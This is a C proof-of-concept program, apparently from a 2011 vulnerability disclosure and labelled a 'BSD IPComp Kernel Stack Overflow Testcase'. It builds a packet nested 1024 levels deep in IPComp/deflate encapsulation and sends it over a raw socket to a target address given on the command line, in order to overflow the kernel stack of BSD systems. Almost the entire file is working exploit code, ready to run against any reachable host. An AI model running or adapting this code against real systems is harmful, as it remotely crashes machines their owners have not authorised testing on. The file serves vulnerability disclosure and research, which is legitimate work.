#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <stdio.h>
#include <zlib.h>
#include <alloca.h>
#include <stdbool.h>
#include <stdlib.h>
#include <string.h>

//
// BSD IPComp Kernel Stack Overflow Testcase
//  -- Tavis Ormandy <taviso () cmpxchg8b com>, March 2011
//

#define MAX_PACKET_SIZE (1024 * 1024 * 32)
#define MAX_ENCAP_DEPTH 1024

enum {
    IPCOMP_OUI          = 1,
    IPCOMP_DEFLATE      = 2,
    IPCOMP_LZS          = 3,
    IPCOMP_MAX,
};

struct ipcomp {
    uint8_t     comp_nxt;       // Next Header
    uint8_t     comp_flags;     // Reserved, must be zero
    uint16_t    comp_cpi;       // Compression parameter index
    uint8_t     comp_data[0];   // Payload.
};

bool ipcomp_encapsulate_data(void           *data,
                             size_t          size,
                             int             nxt,
                             struct ipcomp **out,
                             size_t         *length,
                             int             level)
{
    struct ipcomp *ipcomp;
    z_stream       zstream;

    ipcomp              = malloc(MAX_PACKET_SIZE);
    *out                = ipcomp;
    ipcomp->comp_nxt    = nxt;
    ipcomp->comp_cpi    = htons(IPCOMP_DEFLATE);
    ipcomp->comp_flags  = 0;

    // Compress packet payload.
    zstream.zalloc      = Z_NULL;
    zstream.zfree       = Z_NULL;
    zstream.opaque      = Z_NULL;

    if (deflateInit2(&zstream,
                     level,
                     Z_DEFLATED,
                     -12,
                     MAX_MEM_LEVEL,
                     Z_DEFAULT_STRATEGY) != Z_OK) {
        fprintf(stderr, "error: failed to initialize zlib library\n");
        return false;
    }

    zstream.avail_in    = size;
    zstream.next_in     = data;
    zstream.avail_out   = MAX_PACKET_SIZE - sizeof(struct ipcomp);
    zstream.next_out    = ipcomp->comp_data;

    if (deflate(&zstream, Z_FINISH) != Z_STREAM_END) {
        fprintf(stderr, "error: deflate() failed to create compressed payload, %s\n", zstream.msg);
        return false;
    }

    if (deflateEnd(&zstream) != Z_OK) {
        fprintf(stderr, "error: deflateEnd() returned failure, %s\n", zstream.msg);
        return false;
    }

    // Calculate size.
    *length    = (MAX_PACKET_SIZE - sizeof(struct ipcomp)) - zstream.avail_out;
    ipcomp     = realloc(ipcomp, *length);

    free(data);

    return true;
}

int main(int argc, char **argv)
{
    int                 s;
    struct sockaddr_in  sin    = {0};
    struct ipcomp      *ipcomp = malloc(0);
    size_t              length = 0;
    unsigned            depth  = 0;

    // Nest an ipcomp packet deeply without compression, this allows us to
    // create maximum redundancy.
    for (depth = 0; depth < MAX_ENCAP_DEPTH; depth++) {
        if (ipcomp_encapsulate_data(ipcomp,
                                    length,
                                    IPPROTO_COMP,
                                    &ipcomp,
                                    &length,
                                    Z_NO_COMPRESSION) != true) {
            fprintf(stderr, "error: failed to encapsulate data\n");
            return 1;
        }
    }

    // Create a final outer packet with best compression, which should now
    // compress well due to Z_NO_COMPRESSION used in inner payloads.
    if (ipcomp_encapsulate_data(ipcomp,
                                length,
                                IPPROTO_COMP,
                                &ipcomp,
                                &length,
                                Z_BEST_COMPRESSION) != true) {
        fprintf(stderr, "error: failed to encapsulate data\n");
        return 1;
    }

    fprintf(stdout, "info: created %u nested ipcomp payload, %u bytes\n", depth, length);

    sin.sin_family      = AF_INET;
    sin.sin_port        = htons(0);
    sin.sin_addr.s_addr = inet_addr(argv[1]);

    if ((s = socket(PF_INET, SOCK_RAW, IPPROTO_COMP)) < 0) {
        fprintf(stderr, "error: failed to create socket, %m\n");
        return 1;
    }

    if (sendto(s,
               ipcomp,
               length,
               MSG_NOSIGNAL,
               (const struct sockaddr *)(&sin),
               sizeof(sin)) != length) {
        fprintf(stderr, "error: send() returned failure, %m\n");
        return 1;
    }

    fprintf(stdout, "info: success, packet sent to %s\n", argv[1]);

    free(ipcomp);

    return 0;
}